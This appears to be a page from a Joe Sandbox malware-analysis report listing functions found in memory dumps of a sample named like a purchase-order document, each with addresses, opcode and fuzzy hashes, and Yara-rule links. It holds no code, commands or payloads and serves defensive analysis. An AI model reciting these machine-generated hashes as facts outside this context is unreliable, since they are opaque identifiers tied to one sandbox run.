Opcode ID: 1d41020bd565b59c1be7243783253bc1c4ba3775ced3ff0c8603c6ec6766395f
Instruction ID: 3c102826bf184470d60b915d62f4a9d2e3f9eed7707ab601d5ceab0f03ed546f
Opcode Fuzzy Hash: 1d41020bd565b59c1be7243783253bc1c4ba3775ced3ff0c8603c6ec6766395f
Instruction Fuzzy Hash: D7C08C22C8B305CBE3981282B408338F2AC8B07202F0128824A2C61862C7B058A1CB89

Function 0278C118 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f76198f64ad32ddff98fac3c4a6fe372ea848968dde349888a3dd2d70cc2a5ca
Instruction ID: 1576e71304db8580807175eab8df4d5de8a9bd96ef5e4c9fd83cd10ad8081f00
Opcode Fuzzy Hash: f76198f64ad32ddff98fac3c4a6fe372ea848968dde349888a3dd2d70cc2a5ca
Instruction Fuzzy Hash: DFC08C319913048FD31BBBE6B80C738B76C9B0621BF001864D00C208208BB92CB0CB7A

Function 02780904 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63d7e54af3f4f0de9d4f4afbda0ce22148a58beb12dfa0083c76debe8afa1e6d
Instruction ID: 83a0eb7bdbf9d89af5ad20055b80567fbb1e8e4757498c145f776ac1ae4e326f
Opcode Fuzzy Hash: 63d7e54af3f4f0de9d4f4afbda0ce22148a58beb12dfa0083c76debe8afa1e6d
Instruction Fuzzy Hash: 9FD0A738E81320CBC704AF10D8086193770EB04301F960455C847A3611D338D8429682

Function 061443C3 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 120c9d4d561f8bf8de4ff3fdeb29bf229c1a4eff5c1a8148654e85d2bd61a360
Instruction ID: f150c104727989d97a1a3f63fc6e40e754c33d813570e73104a1c9f09b1ab1bf
Opcode Fuzzy Hash: 120c9d4d561f8bf8de4ff3fdeb29bf229c1a4eff5c1a8148654e85d2bd61a360
Instruction Fuzzy Hash: 2AD022302020148FE314EFC0C806BABB3B6EB8C305F108088D41993788CF398D808F91

Function 05C97EE8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a65c1e339d7cd87fc3e6b6decbeada3821f76c56d77cffe61121b1137e37d9b
Instruction ID: 1952a0e03c6149118aecffd7252486e43cc41fc8137ca8643bb212301b2dbd43
Opcode Fuzzy Hash: 4a65c1e339d7cd87fc3e6b6decbeada3821f76c56d77cffe61121b1137e37d9b
Instruction Fuzzy Hash: 18C04C76E1001E9BCF04DBD9E9418DCFBB4EF94322F404036D214A7104D6301526CF54

Function 027808A0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e15d4f9646479418277e76b00d37bb3877058eb7f44e93009c5842effa9ce78
Instruction ID: 30463efcbde2b3e4fb891db62ca3b7b75a3d359c61746c3739a3b6782e92e3cd
Opcode Fuzzy Hash: 5e15d4f9646479418277e76b00d37bb3877058eb7f44e93009c5842effa9ce78
Instruction Fuzzy Hash: A0B012C2CB41E049F5020C74093857229109A33C22BC807931C46D71C2E00C840C0065

Function 0278FFA8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8e06a732ca707132f27ef7a83e288a845aad2dfe2584e40d54ff240b01922d
Instruction ID: 2ad57114494cc740969b95bee8f444b209d5990da35e5c480c7824bf6c3857fe
Opcode Fuzzy Hash: af8e06a732ca707132f27ef7a83e288a845aad2dfe2584e40d54ff240b01922d
Instruction Fuzzy Hash: B7C09276140208EFC700DF69E844C45BBB8FF1976071180A1FA088B332C732E820DA94

Function 05CCE390 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 05CC23F0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb7c0f02f7ffa74d8f1471a279980e15567abe3f29a73910f9cd318726fbefb
Instruction ID: 8d4b795176ec3f2719ddaebc158fc961b1f276fc2d66b6cfc18c294cfbc0aa93
Opcode Fuzzy Hash: 1bb7c0f02f7ffa74d8f1471a279980e15567abe3f29a73910f9cd318726fbefb
Instruction Fuzzy Hash: 27B092AADA82506FDA117BA0B85A65C3E82EA51320B1A1BC4E0B6431E2DD54506AE952

Function 05CCBEB3 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39e37e9c0425f7421bf3d23f0bb4007272027cd616ea63f2e0544bad3d4cb721
Instruction ID: 71a549f5414a4ab93cad0e485272271ae53cadfbadee8fa1188292fcbe18944f
Opcode Fuzzy Hash: 39e37e9c0425f7421bf3d23f0bb4007272027cd616ea63f2e0544bad3d4cb721
Instruction Fuzzy Hash: 51A0023E614AC960DE697591CE07FB84C47EB55705FF40CDDE360A03608528B904906D

Function 02780890 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45cc470b57cea643f430807d06775f70910ad76ab966fcc92a8d76cbd6aceabe
Instruction ID: 7c1ba87b3aeb8bab4761708e78b56ab1a4bb31f4f951e61e4946b5c62b7884a2
Opcode Fuzzy Hash: 45cc470b57cea643f430807d06775f70910ad76ab966fcc92a8d76cbd6aceabe
Instruction Fuzzy Hash: 18900231485B5C8F4B406795740D559B75CA544525BD41451F50E415015A5974604596

Function 05CC23FC Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde2fbf3ffbeed5baa748adec03c214cc03a813c971e2d1d622ce91f57595fb9
Instruction ID: bc11a5b72233871eca517763db5a6d39185a1b4891ce8cbb1469ff8abffea248
Opcode Fuzzy Hash: dde2fbf3ffbeed5baa748adec03c214cc03a813c971e2d1d622ce91f57595fb9
Instruction Fuzzy Hash: 8CA002345A40289BCF10BF50ED5A5953B61F6427817705450B04A8B018DA619C5EDF84

Non-executed Functions

Function 05C91618 Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

J, xrefs: 05C916E7
>, xrefs: 05C9235D

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: >$J
API String ID: 0-3059046560
Opcode ID: b4f351d421f34ec9026231e5dce398cdd89d5ce2d47d712769734140ae9d32ff
Instruction ID: d6d2d87e4d824211a5e7fe65e8ef3ae42452266d34d4e77bb10ea123e9e5cbe6
Opcode Fuzzy Hash: b4f351d421f34ec9026231e5dce398cdd89d5ce2d47d712769734140ae9d32ff
Instruction Fuzzy Hash: 0B41AA71E056598BEB58CF2BC94869EFAF7AFC9301F18C5EAC40DA6254DB300A81CF41

Function 05E335B8 Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 221fe3c271c098e2584c7efe72f28d0fd9d78e710c2371a72978f9849828a73c
Instruction ID: 3e436cf4bbf5a26eb3c736d0b4747ac159579aaf7c93d66a3a1f9f54ee70207a
Opcode Fuzzy Hash: 221fe3c271c098e2584c7efe72f28d0fd9d78e710c2371a72978f9849828a73c
Instruction Fuzzy Hash: F9327AB4B006158FDB18DF69C499B6EFBF2FB88300F248929D49AD7350DB34A945CB90

Function 05CC4A68 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 537c2779e466c296b5febe69b2b687fbe2c5bc7fa5e3008fa158018cb71e3c39
Instruction ID: 3db3f9d36464aa66ffa028f7a3c94337a2c2d409e8b5161ba09a97232f56939d
Opcode Fuzzy Hash: 537c2779e466c296b5febe69b2b687fbe2c5bc7fa5e3008fa158018cb71e3c39
Instruction Fuzzy Hash: A8D10A34A006048FDB18DF69C5D4EA9BBF2BF88712F66C899E4159B361DB35EC81CB50

Function 05C96F39 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7093ae48a2746205b06e1afe167d63bbb3dcd83ce12a77db2cfca5c2103c3e9
Instruction ID: 63450972188879f5db2bcda2b4452cecbcae00cba8a9a12f0fb02df4057758db
Opcode Fuzzy Hash: c7093ae48a2746205b06e1afe167d63bbb3dcd83ce12a77db2cfca5c2103c3e9
Instruction Fuzzy Hash: 2FE1C270E042588FDB14CFA9C984A9DFBF2FF88304F24C559D459AB24AD734A986CF94

Function 05E70208 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486411765.0000000005E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7abae1d5539f6c0144cd59d889e113cbcdb594284768093844a988dfb97e126
Instruction ID: e8c41c4af7f36e822cc52f536fd7f2047111573698ce9aa6b05e6efa0ed02e9d
Opcode Fuzzy Hash: f7abae1d5539f6c0144cd59d889e113cbcdb594284768093844a988dfb97e126
Instruction Fuzzy Hash: 4BB12774E04218CFDB14DFA5D488BEDBBB2FB49304F10A1A9D489A7356EB746989CF04

Function 05E70218 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486411765.0000000005E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b9229fb0833f52b14dc4305dba5b35c12bf66dad9b284034bd0b7ccc822daef
Instruction ID: 42d7d94720f3ebe17d3c3400abf3db2bff845e69e48d39254114434db0120732
Opcode Fuzzy Hash: 2b9229fb0833f52b14dc4305dba5b35c12bf66dad9b284034bd0b7ccc822daef
Instruction Fuzzy Hash: ABB13874E04208CFDB14DFA5D488BEDBBB2FB49304F10A169D08AA7356EB746989CF04

Function 05C935E8 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1f11ed563a213c95c5fd78eb5eefbdf703d3615471e226437e9b4712a9b9db7
Instruction ID: f5a1828d136060d407beb55e7f298a9cf60dbb600b9c682204b4a69a0a55106e
Opcode Fuzzy Hash: a1f11ed563a213c95c5fd78eb5eefbdf703d3615471e226437e9b4712a9b9db7
Instruction Fuzzy Hash: 0061BCEB4815826BCF1D8534DCEF7A52BF0E762A1C3DDAE888493CA355D22CC917C641

Function 05CC0668 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0834bcf95df8a3ee9b7e6d1d4c8ccc1772f30b9d38c54dc57648f8f9c189b265
Instruction ID: 997e4838e540b2d7f1b621f89dd6574af31f0e5992c75ae6bc5ff3e03e3782f9
Opcode Fuzzy Hash: 0834bcf95df8a3ee9b7e6d1d4c8ccc1772f30b9d38c54dc57648f8f9c189b265
Instruction Fuzzy Hash: 33A1E674D05218DFDB14CFAAD848BADBBF2BB89304F1094A9D409BB355EB705985CF44

Function 05CC0658 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24058bd91d29fe4e5b88c65a592a019e6b4e0ff26c680ab093059891cd3c38c4
Instruction ID: 402ea5bf510c2c13972d423a43d0db51f8b676df11b993b7572f74e69e2f3615
Opcode Fuzzy Hash: 24058bd91d29fe4e5b88c65a592a019e6b4e0ff26c680ab093059891cd3c38c4
Instruction Fuzzy Hash: BDA1E474E05218DFEB14CFAAD848BADBBF2BB89304F1094A9D409B7355EB705989CF44

Function 05E366E0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f472a6d8c525b875242ef946c3f96d73cb8666f45dfc4d7956ed8ad2d9ef0b0
Instruction ID: 0a8432e131b5fdb912304922fe985a59e0533c1edf66156eedc57d2fa82a045c
Opcode Fuzzy Hash: 8f472a6d8c525b875242ef946c3f96d73cb8666f45dfc4d7956ed8ad2d9ef0b0
Instruction Fuzzy Hash: E0811270D04218DFDB14DFA9D889BEDBBB2FF89304F50A0A9D449A7258EB345989CF10

Function 05E366E5 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed46ac48a6b905fc6d6974bb3413bac5c19b73fd87ed174fc0d8b211d8fee28b
Instruction ID: a3000c8dc58cbac7bf62d17d5e843082d00a567c3fb3b84dcd2544da53828089
Opcode Fuzzy Hash: ed46ac48a6b905fc6d6974bb3413bac5c19b73fd87ed174fc0d8b211d8fee28b
Instruction Fuzzy Hash: 44810174D04218DFDB14DFA9D888BEDBBB2FB89304F50A1A9D449A7258EB345989CF10

Function 02787EF8 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52edd9a792c532ca555dcb4c48306db85bc84c246d10510bb821cc4402d085c2
Instruction ID: 3704ce15f9a3241fb77858c0eb4ee74cae42279bb2f22341eaad9fdfd9f09b25
Opcode Fuzzy Hash: 52edd9a792c532ca555dcb4c48306db85bc84c246d10510bb821cc4402d085c2
Instruction Fuzzy Hash: 1A710A70E007598FE749EF7AE84069EBBF3BBC9300F14D569C0059B368EB7058968B95

Function 02787EFD Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0805056b4f71e99a2d1dc0b39550b5f557b935707202417ca3aadb2c21a4ef20
Instruction ID: dfb9da43a40a81ae7ba23e8f2ddb7b2c5549ac2e0d3180b1ac86ec1a29e4db02
Opcode Fuzzy Hash: 0805056b4f71e99a2d1dc0b39550b5f557b935707202417ca3aadb2c21a4ef20
Instruction Fuzzy Hash: 6261FB70E007598FE749EF6AE84069EBBF3BBC9300F14D569C0059B368EB7058568B95

Function 05E37220 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 557cae55efd23d32fccdb7064a02e92add250c8aef60b23e25fe185a36c536c1
Instruction ID: db20ca31a57ff6793e8df480ae11c077a3d68b582cd979976bc5be769a5a0d53
Opcode Fuzzy Hash: 557cae55efd23d32fccdb7064a02e92add250c8aef60b23e25fe185a36c536c1
Instruction Fuzzy Hash: 585107B0D09218DFDB04DFA9D4497EDBBF2FB89304F10A169E48AA7254E7745A85CF04

Function 05EED330 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486576798.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ee0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b1ccf72e288f24b72aadac86477e359d73c89165d47408e0aa5c521b66256d8
Instruction ID: cfe0de86512e2acbd086fb368e4d2bbbd9fb374295c4a8e40fd0859ffab44f3c
Opcode Fuzzy Hash: 1b1ccf72e288f24b72aadac86477e359d73c89165d47408e0aa5c521b66256d8
Instruction Fuzzy Hash: 06410FB0D10348DFEB10CFA9D985B9EBBF1BB09304F20A02AE855BB250D774A885CF45

Function 05EE0040 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486576798.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ee0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8692257d2ef3aedb6c2b94289f3cc6ff370cd6d894b6ede9708fd4acd401acd9
Instruction ID: c6385da96be6f44731ddfdac48302777a692781860b5878a852bf8abc865eb6e
Opcode Fuzzy Hash: 8692257d2ef3aedb6c2b94289f3cc6ff370cd6d894b6ede9708fd4acd401acd9
Instruction Fuzzy Hash: 9F5101B1D056588BE76CCF678D446CAFAF7AFC8340F14C1FA954CA6254EB740AC58E11

Function 05C985A0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23978763ea28c5ab6072ec479da0d3a9124dcdef3ec1fbcf80ec6db12a96bf4d
Instruction ID: e095b58177dcdd0a435fffa144585a15732628917ab61c361a8aac09c918ae2b
Opcode Fuzzy Hash: 23978763ea28c5ab6072ec479da0d3a9124dcdef3ec1fbcf80ec6db12a96bf4d
Instruction Fuzzy Hash: 58419AB1E056588BEB1CCF6B8C4469EFAF3AFC9300F14C5B9945CAB265DB3149928F41

Function 05C96B38 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2170bd7b1f298a039c68d2e99edc16dfacabec903ccca6794dc250afcbf88d06
Instruction ID: 7d348d48b43937ad9e570079e6bf5d7af209d473645961fa44b1b132d859ed93
Opcode Fuzzy Hash: 2170bd7b1f298a039c68d2e99edc16dfacabec903ccca6794dc250afcbf88d06
Instruction Fuzzy Hash: 07414CB1E016188BEB0CCFABC94459EFAF3BFC8300F14C07A9918AB254EB7459428F54

Function 05E3E350 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89692ccaaac6f729faf4b0b44bc308d093d95ca14037086179dcde1c4aaf5f30
Instruction ID: 8f45fdced27b2f16bb16f100474ce71917680fcf95370368b334388a9c647dca
Opcode Fuzzy Hash: 89692ccaaac6f729faf4b0b44bc308d093d95ca14037086179dcde1c4aaf5f30
Instruction Fuzzy Hash: 3541EDB4D04208DFCB14CFA9D885AEEBBB5BB89310F10A06AE845B7350C735A901CFA4

Function 05E22BB8 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d68ca4563f843ed2fc6a9d1cdcab6d0b59fdfb434ad2704e2af3b6e491e6f295
Instruction ID: 756fdff58a07cc9b52bb4d4b2db1387ca18777052dbdd3d8895c0013c07be782
Opcode Fuzzy Hash: d68ca4563f843ed2fc6a9d1cdcab6d0b59fdfb434ad2704e2af3b6e491e6f295
Instruction Fuzzy Hash: 854100B9C04258DFDB10CFAAD485AEEFBF5BB49310F14902AE455B7240C738AA45CFA4

Function 05E22BC0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb03a5ba682c356f2bdd2479960db134962ef05bfe778b104ef6aca415638bf7
Instruction ID: 6d5b17755f2ad8e6d466c87c020aa0e31da0e99557cc4a1b0c0c20e1887d0b82
Opcode Fuzzy Hash: eb03a5ba682c356f2bdd2479960db134962ef05bfe778b104ef6aca415638bf7
Instruction Fuzzy Hash: FC41EEB5C04258DFDB00CFAAD485AEEFBF4BB49310F14942AE459B7240C738AA45CFA4

Function 05E3ED88 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e5ee2825c16b0c474b8ee0b72af2436fc3fe6cb661e9191a9e579a29d008e30
Instruction ID: 3df3ccf6ea1a28b24954ad39ec59990f6b4e91c787c917c201b3541ad53314c4
Opcode Fuzzy Hash: 3e5ee2825c16b0c474b8ee0b72af2436fc3fe6cb661e9191a9e579a29d008e30
Instruction Fuzzy Hash: 4441EB70D04619CBEB28CF6BC8497EEBBF6AF89300F14D0A9C458A7251EB740985DF54

Function 06140011 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac1ee50d25082542c6d86972daf58395fa9589781ee45ed2833ce0e9f57719e1
Instruction ID: a6435ea3f83031359449ac78021737864261dfc4f6fecb5b288c4f9f98c50a12
Opcode Fuzzy Hash: ac1ee50d25082542c6d86972daf58395fa9589781ee45ed2833ce0e9f57719e1
Instruction Fuzzy Hash: EA312C71D057549BEB69DF2B8C4478AFBF7AFCA200F04C0EA844CAA225D7740A868F11

Function 06140040 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659cde8a87c36e9661d529d2d8a281d760fcf5f2e2e487a84767e3b096856eb3
Instruction ID: 438b33ababebb4558583a72dc0088e3d0c92ab4de08f7e90e04e3d4757847553
Opcode Fuzzy Hash: 659cde8a87c36e9661d529d2d8a281d760fcf5f2e2e487a84767e3b096856eb3
